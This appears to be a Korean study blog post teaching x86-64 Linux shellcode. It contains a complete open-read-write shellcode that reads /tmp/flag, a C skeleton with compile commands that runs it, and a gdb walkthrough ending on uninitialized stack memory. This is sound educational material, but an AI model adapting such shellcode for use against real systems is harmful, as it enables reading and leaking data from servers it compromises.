Jastes 2022. 4. 15. 15:07

์ต์Šคํ”Œ๋กœ์ž‡(Exploit)

ํ•ดํ‚น ๋ถ„์•ผ์—์„œ ์ƒ๋Œ€ ์‹œ์Šคํ…œ์„ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์นจํˆฌํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์•…์šฉํ•˜๋Š” ํ•ดํ‚น๊ณผ ๋งฅ๋ฝ์ด ๊ฐ™์Œ

์ฒซ ๋ฒˆ์งธ ๊ณต๊ฒฉ๊ธฐ๋ฒ•์ธ ์…ธ์ฝ”๋“œ์ด๋ฉฐ, ์ง€๊ธˆ๊นŒ์ง€ ๋ฐฐ์šด ์ง€์‹์„ ์ ๊ฒ€ํ•˜๊ณ  gdb ์‚ฌ์šฉ์— ์ต์ˆ™ํ•ด์ง€๋Š” ์‹œ๊ฐ„์ด ๋˜์–ด๋ด์š”


์…ธ์ฝ”๋“œ

์ต์Šคํ”Œ๋กœ์ž‡์„ ์œ„ํ•ด ์ œ์ž‘๋œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ ์กฐ๊ฐ

์ผ๋ฐ˜์ ์œผ๋กœ ์…ธ์„ ํš๋“ํ•˜๊ธฐ ์œ„ํ•œ ๋ชฉ์ ์œผ๋กœ ์…ธ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด, ํŠน๋ณ„ํžˆ "์…ธ"์ด๋ผ๋Š” ์ ‘๋‘์‚ฌ ๋ถ™์Œ

์…ธ์„ ํš๋“ํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ์ค‘์š”ํ•ด์š”, ๊ทธ ์ด์œ ๋Š” ๋’ค์— ๋‚˜์™€์š”

๋งŒ์•ฝ ํ•ด์ปค๊ฐ€ rip๋ฅผ ์ž์‹ ์ด ์ž‘์„ฑํ•œ ์…ธ์ฝ”๋“œ๋กœ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ์œผ๋ฉด ์ต์Šคํ”Œ๋กœ์ž‡์ด ๋˜์š”!

์…ธ์ฝ”๋“œ๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ๊ตฌ์„ฑ๋˜๋ฏ€๋กœ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ๋Œ€์ƒ ์•„ํ‚คํ…์ฒ˜์™€ OS์— ๋”ฐ๋ผ,
๊ทธ๋ฆฌ๊ณ  ์…ธ์ฝ”๋“œ์˜ ๋ชฉ์ ์— ๋”ฐ๋ผ ๋‹ค๋ฅด๊ฒŒ ์ž‘์„ฑ๋ฉ๋‹ˆ๋‹ค ๋˜ํ•œ ๋ฐ‘ ๋งํฌ๋Š” ์•„ํ‚คํ…์ฒ˜ ๋ณ„ ๋ฒ”์šฉ์  ์…ธ์ฝ”๋“œ!
 

shell-storm | Shellcodes Database

Shellcodes database for study cases Description Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. To learn modern explo

shell-storm.org

ํ•˜์ง€๋งŒ ๋ฒ”์šฉ์ ์œผ๋กœ ์ž‘์„ฑ๋œ ๊ฑฐ๊ธฐ์— ์ตœ์ ์˜ ์…ธ์ฝ”๋“œ๋Š” ์ง์ ‘ํ•ด์•ผํ•˜๊ณ  ์—ฌ๋Ÿฌ ๋ณ€์ˆ˜๊ฐ€ ์žˆ์œผ๋‹ˆ๊นŒ..

์ด๋Ÿฐ ์ƒํ™ฉ์„ ๋Œ€๋น„ํ•˜์—ฌ ์–ธ์ œ๋“ ์ง€ ์ง์ ‘ ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ!!

์šฐ๋ฆฌ๋Š” ํŒŒ์ผ ์ฝ๊ณ  ์“ฐ๊ธฐ(open-read-write. orw), ์…ธ ํš๋“(execve)์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ด…์‹œ๋‹ค


orw ์…ธ์ฝ”๋“œ ์ž‘์„ฑ๐Ÿ“

ํŒŒ์ผ์„ ์—ด๊ณ , ์ฝ์€ ๋’ค ํ™”๋ฉด์— ์ถœ๋ ฅํ•ด์ฃผ๋Š” ์…ธ์ฝ”๋“œ!

์—ฌ๊ธฐ์„  "/tmp/flag"๋ฅผ ์ฝ๋Š” ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณผ๊ป˜์š”

๊ตฌํ˜„ํ•˜๋ ค๋Š” ์…ธ์ฝ”๋“œ์˜ ๋™์ž‘์„ C์–ธ์–ด ํ˜•์‹์˜ ์˜์‚ฌ์ฝ”๋“œ๋กœ ํ‘œํ˜„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์•„์š”

orw ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์•Œ์•„์•ผ ํ•˜๋Š” syscall์€ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

๊ทธ๋Ÿผ ์ด์   ์˜์‚ฌ์ฝ”๋“œ์˜ ๊ฐ ์ค„์„ ์–ด์…ˆ๋ธ”๋ฆฌ๋กœ ๊ตฌํ˜„ํ•˜๊ณ  ์•Œ์•„๋ณผ๊นŒ์š”?


orw ์…ธ์ฝ”๋“œ ์ž‘์„ฑ - open & read

1. int fd = open("/tmp/flag",O_RDONLY, NULL)

syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
open 0x02 const char *filename int flags umode_t mode
๐Ÿ’ก์ฒซ ๋ฒˆ์งธ๋กœ ํ•ด์•ผ ํ•  ์ผ์€ "/tmp/flag"๋ผ๋Š” ๋ฌธ์ž์—ด์„ ๋ฉ”๋ชจ๋ฆฌ์— ์œ„์น˜์‹œํ‚ค๋Š” ๊ฒƒ์ด๋ฉฐ,
์ž์„ธํ•œ ์ด์œ ๋ฅผ ๋ชจ๋ฅด๊ฒ ๋‹ค๋ฉด ์—ฌ๊ธฐ๋กœ ๊ฐ€์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.โ€‹

์œ„ ์‚ฌ์ดํŠธ๋ฅผ ์ฐธ๊ณ ํ•ด์„œ ์ž‘์„ฑํ•จ

๊ตฌํ˜„

2~3. ์Šคํƒ์— 0x616c662f706d742f(/tmp/flag)๋ฅผ push 
4. rdi๊ฐ€ ์ด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก rsp๋ฅผ rdi๋กœ ์˜ฎ๊น€
5. O_RDONLY๋Š” 0์ด๋ฏ€๋กœ, rsi๋Š” 0์œผ๋กœ ์„ค์ •
6. ํŒŒ์ผ์„ ์ฝ์„ ๋•Œ, mode๋Š” ์˜๋ฏธ๋ฅผ ๊ฐ–์ง€ ์•Š์œผ๋ฏ€๋กœ rdx๋Š” 0์œผ๋กœ ์„ค์ •
7. rax๋ฅผ open์˜ syscall๊ฐ’์ธ 2๋กœ ์„ค์ •

2.read(fd, buf, 0x30)

syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
read 0x00 unsigned int fd char *buf size_t count

1. syscall์˜ ๋ฐ˜ํ™˜ ๊ฐ’์€ rax๋กœ ์ €์žฅํ•˜๋ฉฐ, open์œผ๋กœ ํš๋“ํ•œ /tmp/flag์˜ fd๋Š” rax์— ์ €์žฅ!
2. read์˜ ์ฒซ๋ฒˆ์งธ ์ธ์ž๋ฅผ ์ด ๊ฐ’์œผ๋กœ ์„ค์ •ํ•ด์•ผ ํ•˜๋ฏ€๋กœ rax๋ฅผ rdi์— ๋Œ€์ž…
3. rsi๋Š” ํŒŒ์ผ์— ์ฝ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฅดํ‚ค๋ฏ€๋กœ 0x30๋งŒํผ ์ฝ์œผ๋‹ˆ, rsi์— rsp-0x30 ๋Œ€์ž…
4. rdx๋Š” ํŒŒ์ผ๋กœ๋ถ€ํ„ฐ ์ฝ์–ด๋‚ผ ๋ฐ์ดํ„ฐ์˜ ๊ธธ์ด์ธ 0x30์œผ๋กœ ์„ค์ •
5. read syscall์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด rax๋ฅผ 0์œผ๋กœ ์„ค์ •

๐Ÿ’ก ์—ฌ๊ธฐ์„œ ์ž ๊น! fd(File Descriptor; fd)๋ž€?

์œ ๋‹‰์Šค ๊ณ„์—ด์˜ OS์—์„œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” SW์— ์ œ๊ณตํ•˜๋Š” ๊ฐ€์ƒ์˜ ์ ‘๊ทผ ์ œ์–ด์ž
 "ํ”„๋กœ์„ธ์Šค๋งˆ๋‹ค ๊ณ ์œ ์˜ ์„œ์ˆ ์ž ํ…Œ์ด๋ธ”์„ ๊ฐ–๊ณ  ์žˆ์œผ๋ฉฐ, ๊ทธ ์•ˆ์— ์—ฌ๋Ÿฌ ํŒŒ์ผ ์„œ์ˆ ์ž๋ฅผ ์ €์žฅํ•จ"

์„œ์ˆ ์ž๋Š” ๋ฒˆํ˜ธ๋กœ ๊ตฌ๋ณ„ํ•˜๋ฉฐ ์ผ๋ฐ˜์ ์œผ๋กœ 0(์ผ๋ฐ˜ ์ž…๋ ฅ_STDIN), 1(์ผ๋ฐ˜ ์ถœ๋ ฅ_STDOUT), 2(์ผ๋ฐ˜ ์˜ค๋ฅ˜_STDERR)์— ํ• ๋‹น๋˜๋ฉฐ, ์ด๋“ค์€ ํ”„๋กœ์„ธ์„œ๋ฅผ ํ„ฐ๋ฏธ๋„๊ณผ ์—ฐ๊ฒฐํ•ด์คŒ! 
Ex) ํ‚ค๋ณด๋“œ ์ž…๋ ฅ → ํ”„๋กœ์„ธ์Šค์— ์ž…๋ ฅ ์ „๋‹ฌ, ์ถœ๋ ฅ → ํ„ฐ๋ฏธ๋„ ๋กœ ๋ฐ›์•„๋ณผ ์ˆ˜ ์žˆ์Œ

 ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ƒ์„ฑ๋œ ์ดํ›„, ์œ„์˜ open๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์–ด๋–ค ํŒŒ์ผ๊ณผ ํ”„๋กœ์„ธ์Šค๋ฅผ ์—ฐ๊ฒฐํ•˜๋ ค๊ณ  ํ•˜๋ฉด, ๊ธฐ๋ณธ์œผ๋กœ ํ• ๋‹น๋œ 2๋ฒˆ ์ดํ›„์˜ ๋ฒˆํ˜ธ๋กœ ์ƒˆ๋กœ์šด fd์— ์ฐจ๋ก€๋กœ ํ• ๋‹นํ•˜๋ฉฐ, ํ”„๋กœ์„ธ์Šค๋Š” ๊ทธ fd๋ฅผ ์ด์šฉํ•ด ํŒŒ์ผ์— ์ ‘๊ทผํ•จ

3. write(1, buf, 0x30)

syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
write 0x01 unsigned int fd const char *buf size_t conut

1. ์ถœ๋ ฅ์€ stdout์œผ๋กœ ํ•  ๊ฒƒ์ด๋ฏ€๋กœ, rdi๋ฅผ 0x1๋กœ ์„ค์ •
_rsi์™€ rdx๋Š” read์—์„œ ์‚ฌ์šฉํ•œ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉํ•จ
2. write ์‹œ์Šคํ…œ ์ฝœ์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ rax๋ฅผ 1๋กœ ์„ค์ •

์ด๋“ค์„ ๋‹ค ์ข…ํ•ฉํ•˜๋ฉด...

;Name: orw.S
 
;int fd = open(“/tmp/flag”, O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
 
;read(fd, buf, 0x30)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
 
;write(1, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

orw ์…ธ์ฝ”๋“œ ์ปดํŒŒ์ผ ๋ฐ ์‹คํ–‰

๋Œ€๋ถ€๋ถ„ OS๋Š” ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ์˜ ํ˜•์‹์„ ๊ทœ์ •ํ•จ

์œ„๋„์šฐ์˜ PE, ๋ฆฌ๋ˆ…์Šค์˜ ELF๊ฐ€ ๋Œ€ํ‘œ์ ์ธ ์˜ˆ์‹œ

ELF(Executable and Linkable Format)

ํŠน์ง• : ํ•ด๋”์™€ ์ฝ”๋“œ ๊ทธ๋ฆฌ๊ณ  ๊ธฐํƒ€ ๋ฐ์ดํ„ฐ๋กœ ๊ตฌ์„ฑ๋จ
์„ค๋ช… : ํ•ด๋”์—๋Š” ์‹คํ–‰์— ํ•„์š”ํ•œ ์—ฌ๋Ÿฌ ์ •๋ณด๊ฐ€, ์ฝ”๋“œ์—” CPU๊ฐ€ ์ดํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๊ณ„์–ด ์ฝ”๋“œ

์œ„์— ์ž‘์„ฑ๋œ ์…ธ์ฝ”๋“œ orw.S๋Š” ์•„์Šคํ‚ค๋กœ ์ž‘์„ฑ๋œ ์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ์ด๋ฏ€๋กœ, ๊ธฐ๊ณ„์–ด๋กœ ์น˜ํ™˜ํ•˜๋ฉด CPU๊ฐ€ ์ดํ•ดํ•  ์ˆ˜๋Š” ์žˆ์œผ๋‚˜ ELFํ˜•์‹์ด ์•„๋‹ˆ๋ฏ€๋กœ ๋ฆฌ๋ˆ…์Šค์—์„œ ์‹คํ–‰X ์—ฌ๊ธฐ์„  gcc์ปดํŒŒ์ผ์„ ํ†ตํ•ด ์ด๋ฅผ ELFํ˜•์‹์œผ๋กœ ๋ณ€ํ˜•ํ•ฉ์‹œ๋‹ค.


์ปดํŒŒ์ผ๐Ÿ“š

์–ด์…ˆ๋ธ”๋ฆฌ ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•˜๋Š” ์—ฌ๋Ÿฌ๊ฐ€์ง€๊ฐ€ ์žˆ์œผ๋‚˜ ์—ฌ๊ธฐ์„  ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ๋ฅผ C์–ธ์–ด๋กœ ์ž‘์„ฑํ•˜๊ณ , ๊ฑฐ๊ธฐ์— ์…ธ์ฝ”๋“œ๋ฅผ ํƒ‘์žฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ฉ์‹œ๋‹ค.

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
 
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
 
    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"
 
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c      # rax = sys_exit\n"
    "syscall        # exit(0)"
);
 
void run_sh();
 
int main() { run_sh(); }
์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ : ํ•ต์‹ฌ ๋‚ด์šฉ์ด ๋น„์–ด์žˆ๋Š”, ๊ธฐ๋ณธ ๊ตฌ์กฐ๋งŒ ๊ฐ–์ถ˜ ์ฝ”๋“œ
 

shell-storm | Shellcodes Database

Shellcodes database for study cases Description Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. To learn modern explo

shell-storm.org

์ด ์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ์— ์•ž์—์„œ ์ž‘์„ฑํ•œ ์…ธ์ฝ”๋“œ๋ฅผ ์ฑ„์šฐ์ž๊ณ ์š”

orw.S

;Name: orw.S
 
;int fd = open(“/tmp/flag”, O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
 
;read(fd, buf, 0x30)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
 
;write(1, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

orw.c

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
 
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
   
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
   
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
   
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c         # rax = sys_exit\n"
    "syscall# exit(0)"
);
 
void run_sh();
 
int main() { run_sh(); }

์ด๋Ÿฐ ์‹์œผ๋กœ ์…ธ์ฝ”๋“œ๊ฐ€ ์ž‘๋™์„ ํ™•์ธํ•˜๊ฒŒ /tmp/flag ํŒŒ์ผ์„ ์ƒ์„ฑ!

echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag

orw.c๋ฅผ ์ปดํŒŒ์ผํ•˜๊ณ , ์‹คํ–‰ํ•ด๋ด…์‹œ๋‹ค

gcc -o orw orw.c -masm=intel

์ €๋Š” ๋ฐ‘์— ์“ฐ๋ ˆ๊ธฐ ๊ฐ’ ์—†์ด ๊น”๋”ํ•œ๋ฐ.. ์™œ์ฃ ?

์…ธ์ฝ”๋“œ๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰๋˜์–ด ์šฐ๋ฆฌ๊ฐ€ ์ €์žฅํ•œ ๋ฌธ์ž์—ด ์ถœ๋ ฅ๊นŒ์ง€ ์„ฑ๊ณต!

๋งŒ์•ฝ ๊ณต๊ฒฉ์˜ ๋Œ€์ƒ์ด ๋˜๋Š” ์‹œ์Šคํ…œ์—์„œ ์ด ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ƒ๋Œ€ ์„œ๋ฒ„์˜ ์ž๋ฃŒ๋ฅผ ์œ ์ถœ๊ฐ€๋Šฅ

์—ฌ๊ธฐ์„œ ์ค‘์‹ฌ์€ /tmp/flag์— ๋‚ด์šฉ๋ง๊ณ ๋„ ๋ฌธ์ž์—ด๋“ค์ด ํ•จ๊ป˜..์ถœ๋ ฅ๋˜์•ผํ•˜๋Š”๋ฐ..? ๋””๋ฒ„๊น…์„ ํ†ตํ•ด ์…ธ์ฝ”๋“œ์˜ ๋™์ž‘์„ ์‚ดํŽด๋ณด๊ณ , ์ €๋Ÿฐ ๊ฐ’๋“ค์ด ์ถœ๋ ฅ๋œ ์›์ธ์„ ๋ถ„์„ํ•ด๋ด…์‹œ๋‹ค.


orw ์…ธ์ฝ”๋“œ ๋””๋ฒ„๊น…๐Ÿ›

์•ž์„œ ๋ฐฐ์šด gdb๋ฅผ ํ†ตํ•ด ์šฐ๋ฆฌ๊ฐ€ ์ž‘์„ฑํ•œ ์…ธ์ฝ”๋“œ์˜ ๋™์ž‘์„ ์ž์„ธํžˆ ๋ถ„์„ํ•ฉ์‹œ๋‹ค

orw๋ฅผ gdb๋กœ ์—ด๊ณ , run_sh()ํ•จ์ˆ˜์— ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ๋ฅผ ์„ค์ •ํ•ฉ์‹œ๋‹ค.

run๋ช…๋ น์–ด๋กœ run_sh()ํ•จ์ˆ˜์˜ ์‹œ์ž‘ ๋ถ€๋ถ„๊นŒ์ง€ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉฐ, ๊ทธ๋Ÿฌ๋ฉด ์šฐ๋ฆฌ๊ฐ€ ์ž‘์„ฑํ•œ ์…ธ์ฝ”๋“œ์— rip๊ฐ€ ์œ„์น˜ํ•œ ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜๊ฐ€ ์žˆ์ฃ 

์ด์ œ ์•ž์—์„œ ๊ตฌํ˜„ํ•œ ๊ฐ ์‹œ์Šคํ…œ ์ฝœ๋“ค์ด ์ œ๋Œ€๋กœ ๊ตฌํ˜„๋˜์—ˆ๋‚˜ ํ™•์ธํ•ด๋ด์š”


1. int fd = open("/tmp/flag", O_RDONLY, NULL)

์ฒซ๋ฒˆ์งธ syscall์ „๊นŒ์ง€ ์‹คํ–‰ํ•˜๊ณ , syscall์— ๋“ค์–ด๊ฐ€๋Š” ์ธ์ž๋ฅผ ํ™•์ธ

pwndbgํ”Œ๋Ÿฌ๊ทธ์ธ์€ syscall์„ ํ˜ธ์ถœํ•  ๋•Œ, ์ธ์ž๋ฅผ ๋ถ„์„ํ•˜๋ฉฐ, ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•  ๋•Œ ๊ณ„ํšํ–ˆ๋“ฏ, open("/tmp/flag",O_RDONLY, NULL)๊ฐ€ ์‹คํ–‰๋จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

open ์‹œ์Šคํ…œ ์ฝœ์„ ์ˆ˜ํ–‰ํ•œ ๊ฒฐ๊ณผ๋กœ /tmp/flag์˜ fd(3)๊ฐ€ rax์— ์ €์žฅ๋จ

fd(3)์ด๋‹ˆ๊นŒ ์‚ฌ์šฉ์ž ์„ค์ •์œผ๋กœ ์ง€์ •๋˜์—ˆ๋„ค์š”


2. read(fd, buf, 0x30)

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋‘๋ฒˆ์งธ syscall ์ง์ „๊นŒ์ง€ ์‹คํ–‰ํ•˜๊ณ  ์ธ์ž๋ฅผ ๋ด…์‹œ๋‹ค

์ƒˆ๋กœ ํ• ๋‹นํ•œ /tmp/flag์˜ fd(3)์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ 0x30byte๋งŒํผ ์ฝ์–ด์„œ

0x7fffffffdd58 ์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค

์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ x/s๋กœ ํ™•์ธํ•ด๋ณด๋ฉด

์“ฐ๋ ˆ๊ธฐ๊ฐ’์ด ์—†๋Š”๊ฑด ๋’ค์—์„œ ๋ฐฐ์›Œ์ง€๊ฒ ์ฃ ..?


3. write(1, buf, 0x20)

๋งˆ์ง€๋ง‰์œผ๋กœ, ์ฝ์–ด๋‚ธ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” write ์‹œ์Šคํ…œ ์ฝœ์„ ์‹คํ–‰ํ•จ

๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•œ 0x7fffffffdd58์—์„œ 48๋ฐ”์ดํŠธ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

์•„๋ฌด๋ž˜๋„ ์ €๋Š” ์ž๋™์ ์œผ๋กœ ๊ณต๋ฐฑ์„ ์ค˜์„œ ๊ทธ๋Ÿฐ๊ฐ€์š”..? ์นผ๋ฆฌ๋ผ ๊ทธ๋Ÿฐ๊ฐ€์š”? ์Œ.. ๋ณดํ†ต์€

/tmp/flag์˜ ๋ฐ์ดํ„ฐ ์™ธ์— ์•Œ์ˆ˜์—†๋Š” ๋ฌธ์ž์—ด์ด ์ถœ๋ ฅ๋˜๋ฉฐ, ์ด๋Š” ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š์€ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ ์‚ฌ์šฉ์— ์˜ํ•œ ๊ฒƒ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์›์ธ์„ ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด read ์‹œ์Šคํ…œ ์ฝœ์„ ์‹คํ–‰ํ•œ ์งํ›„๋กœ ๋Œ์•„๊ฐ€๋ด์š”
โ€‹๐Ÿ’ก์ดˆ๊ธฐํ™” ๋˜์ง€ ์•Š์€ ๋ฉ”๋ชจ๋ฆฌ ์‚ฌ์šฉ(Useof Uninitialized Memory)
 โ€‹์Šคํƒ์€ ๋‹ค์–‘ํ•œ ํ•จ์ˆ˜๋“ค์ด ๊ณต์œ ํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์ž์›! ๊ฐ ํ•จ์ˆ˜๊ฐ€ ์ž์‹ ๋“ค์˜ ์Šคํƒ ํ”„๋ ˆ์ž„์„ ํ• ๋‹นํ•ด ์‚ฌ์šฉํ•˜๊ณ  ์ข…๋ฃŒ๋  ๋•Œ ํ•ด์ œํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์Šคํƒ์€ ํ•ด์ œ๋ผ๋Š” ๊ฒƒ์€ ์‚ฌ์šฉํ•œ ์˜์—ญ์„ 0์œผ๋กœ ์ดˆ๊ธฐํ™”ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, ๋‹จ์ˆœํžˆ rsp์™€ rbp๋ฅผ ํ˜ธ์ถœํ•œ ํ•จ์ˆ˜์˜ ๊ฒƒ์„ ์ด๋™์‹œํ‚ค๋Š” ๊ฒƒ์„ ๋งํ•จ! ์ฆ‰, ์–ด๋–ค ํ•จ์ˆ˜๋ฅผ ํ•ด์ œํ•œ ํ›„, ๋‹ค๋ฅธ ํ•จ์ˆ˜๊ฐ€ ์Šคํƒ ํ”„๋ ˆ์ž„์„ ๊ทธ ์œ„์— ํ• ๋‹นํ•˜๋ฉด ์ด์ „ ์Šคํƒ ํ”„๋ ˆ์ž„์˜ ๋ฐ์ดํ„ฐ๋Š” ์—ฌ์ „ํžˆ ์ƒˆ๋กœ ํ• ๋‹นํ•œ ์Šคํƒ ํ”„๋ ˆ์ž„์— ์กด์žฌํ•˜๋ฉฐ ์ด๋ฅผ ์“ฐ๋ ˆ๊ธฐ ๊ฐ’(garbage data)๋ผ๊ณ  ํ‘œํ˜„ํ•ฉ๋‹ˆ๋‹ค.

 ํ”„๋กœ์„ธ์Šค๋Š” ์“ฐ๋ ˆ๊ธฐ ๊ฐ’ ๋•Œ๋ฌธ์— ๋•Œ๋•Œ๋กœ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘์„ ํ•˜๊ธฐ๋„ ํ•˜๋ฉฐ, ํ•ด์ปค์—๊ฒŒ ์˜๋„์น˜ ์•Š๊ฒŒ ์ค‘์š”ํ•œ ์ •๋ณด๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋Ÿฐ ์œ„ํ—˜์œผ๋กœ๋ถ€ํ„ฐ ์•ˆ์ „ํ•œ ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜๋ ค๋ฉด ์Šคํƒ์ด๋‚˜ ํž™์„ ์‚ฌ์šฉํ•  ๋•Œ ํ•ญ์ƒ ์ ์ ˆํ•œ ์ดˆ๊ธฐํ™” ๊ณผ์ •์„ ๊ฑฐ์ณ์•ผ ํ•ฉ๋‹ˆ๋‹ค

Appendix. Uninitialized Memory

์•„๊นŒ์™€ ๊ฐ™์ด ํŒŒ์ผ์„ ์ฝ์–ด์„œ ์Šคํƒ์— ์ €์žฅํ•˜๊ณ , ํ•ด๋‹น ์Šคํƒ์˜ ์˜์—ญ์„ ๋‹ค์‹œ ์กฐํšŒํ•ด๋ด์š”

โ€‹โ€‹

